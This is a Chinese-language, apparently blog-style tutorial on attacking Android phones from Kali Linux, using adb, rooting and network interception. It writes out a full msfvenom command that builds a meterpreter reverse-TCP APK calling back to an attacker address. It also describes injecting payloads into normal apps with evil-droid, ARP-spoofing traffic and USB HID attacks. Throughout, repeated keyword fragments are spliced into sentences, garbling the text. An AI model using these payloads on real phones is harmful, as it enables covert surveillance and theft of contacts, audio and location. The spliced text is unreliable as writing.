把一台安卓手机接到Kali上,渗透手机用adb devices敲下去,安卓屏幕上跳出序列号的渗透手机那一刻,渗透测试才算真正开始。安卓这不是渗透手机电影里那种敲几下键盘就黑进别人手机的场景,真实情况要笨拙得多——你得先拿到那台设备的安卓调试权限,或者至少让它信任你这台电脑。渗透手机
我桌上常年摆着一台Pixel 3,安卓系统是渗透手机Android 11,专门用来做测试靶机。安卓USB线连上Kali虚拟机,渗透手机第一件事是安卓确认adb和fastboot装没装。没装的渗透手机话sudo apt install adb fastboot两条命令搞定。然后手机开发者选项里打开USB调试,安卓插上线,渗透手机手机会弹一个“允许USB调试吗”的框。点允许,Kali终端里adb devices就能看到设备了。这一步卡住过很多人——手机不弹框、弹了没点、点了但Kali识别不到,都遇到过。驱动问题、USB线问题、虚拟机USB直通没开,挨个排查。
拿到adb shell之后,能做的事情比想象中多。比如adb shell pm list packages列出所有安装包,找目标应用直接得很。adb shell dumpsys能吐出大量系统信息,电池、网络、Activity栈全在里面。有次我拿这个命令翻出一台测试机的WiFi密码配置文件路径,虽然现在Android高版本已经封了大部分直接读取的权限,但低版本或者root过的机器上依然可行。
说到root,Magisk刷进去之后adb shell直接就是root权限。这时候Kali上的Metasploit就能派上用场了。用msfvenom生成一个安卓payload,msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o test.apk,然后把apk装到手机上。手机端运行这个apk,Kali的msfconsole里设置好handler,meterpreter会话就弹回来了。能干什么?截屏、录音、翻通讯录、定位、上传下载文件,基本就是远程控制那一套。但前提是目标手机得允许安装未知来源应用,而且用户得手动点开那个apk。现实攻击中这一步靠社工,测试环境里自己点一下就行。
不装payload也有别的路子。Kali里有个工具叫evil-droid,专门用来做安卓APK的恶意注入。拿一个正常的apk,比如计算器或者小游戏,把payload塞进去重新签名,装到手机上运行起来界面正常,后台meterpreter已经连上了。这个工具用起来不复杂,但签名环节经常出问题,apksigner的路径、keystore的生成,第一次搞容易翻车。
还有一条路是网络层面的。手机连的WiFi如果没做客户端隔离,Kali开个arp spoof,流量就能从Kali过。配合sslstrip或者mitmproxy,能抓不少东西。不过现在大部分App都走HTTPS,证书固定一上,抓到的包全是乱码。除非目标App自己没做校验,或者你能在手机上装个用户证书并让App信任它。Android 7之后用户证书默认不被App信任,得改apk的network security config或者用Xposed模块绕过,麻烦得很。
物理接触的情况下,Kali还能通过USB做HID攻击。用Arduino或者Ruber Ducky伪装成键盘,插到手机上自动输入命令。这个跟Kali关系不大,但思路是一脉相承的——利用信任关系。手机信任USB调试,Kali就能adb;手机信任键盘,就能自动输入。信任链才是渗透的核心,工具只是实现手段。
最后说个实际的坑。Kali虚拟机里跑adb,USB设备经常被宿主机抢走。VMware要在虚拟机设置里把USB控制器打开,VirtualBox得装Extension Pack然后手动挂载设备。有时候adb server在宿主机上跑着,Kali里的adb就认不到设备,adb kill-server再adb start-server能解决大半问题。这些细节没人写在教程里,但每个都能耗掉你半小时。
渗透安卓手机这件事,工具链在变,Android的安全机制也在收紧。早些年adb shell几乎等于半个root,现在SELinux、Scoped Storage、Play Protect一层层叠上来,不root的情况下能做的事越来越少。但反过来说,只要用户还点那些“允许安装”“允许调试”“允许访问”,攻击面就一直在那儿。